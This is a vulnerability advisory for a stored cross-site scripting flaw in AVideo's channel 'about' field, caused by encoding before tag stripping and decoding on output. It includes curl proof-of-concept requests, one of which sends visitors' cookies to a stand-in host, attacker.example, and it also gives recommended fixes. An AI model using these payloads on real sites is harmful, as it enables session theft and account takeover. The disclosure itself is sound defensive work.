Server side cross-site scripting In wwbn/avideo
Description
AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
Summary
A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.
Details
Input sanitization in objects/user.php:156:
public function setAbout($about) { $this->about = strip_specific_tags(xss_esc($about)); }
The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():
$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
This encodes <script>alert(1)</script> to <script>alert(1)</script>.
Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:
$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);
But the regex looks for literal <script> — it can never match the entity-encoded <script>. The sanitizer is completely neutralized by the encoding that precedes it.
Output in view/channelBody.php:239-246:
$about = html_entity_decode($user->getAbout()); if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) { echo $about; } else { ?> <div id="aboutAreaPreContent"> <div id="aboutAreaContent"> <?php echo $about; ?>...
The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.
Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.
The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:
$user->setAbout($_POST['about']);
The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.
PoC
Step 1: Log in as any registered user and update the "about" field:
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:
https://TARGET/channel/attacker
Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.
Alternative payload using <script> tag (also works due to the sanitization bypass):
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Impact
Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
Phishing: Attacker can inject fake login forms or redirect users to malicious sites
Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm
This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.
Recommended Fix
Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:
// Before (VULNERABLE): $about = html_entity_decode($user->getAbout()); // After (FIXED): $about = $user->getAbout();
Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:
// Before (VULNERABLE): $this->about = strip_specific_tags(xss_esc($about)); // After (FIXED — strip tags on raw HTML first, then encode): $this->about = xss_esc(strip_specific_tags($about));
Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:
require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em'); $purifier = new HTMLPurifier($config); $this->about = $purifier->purify($about);
And on output, remove html_entity_decode() — output the purified HTML directly.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
packagist | 29.0 |
Aliases
References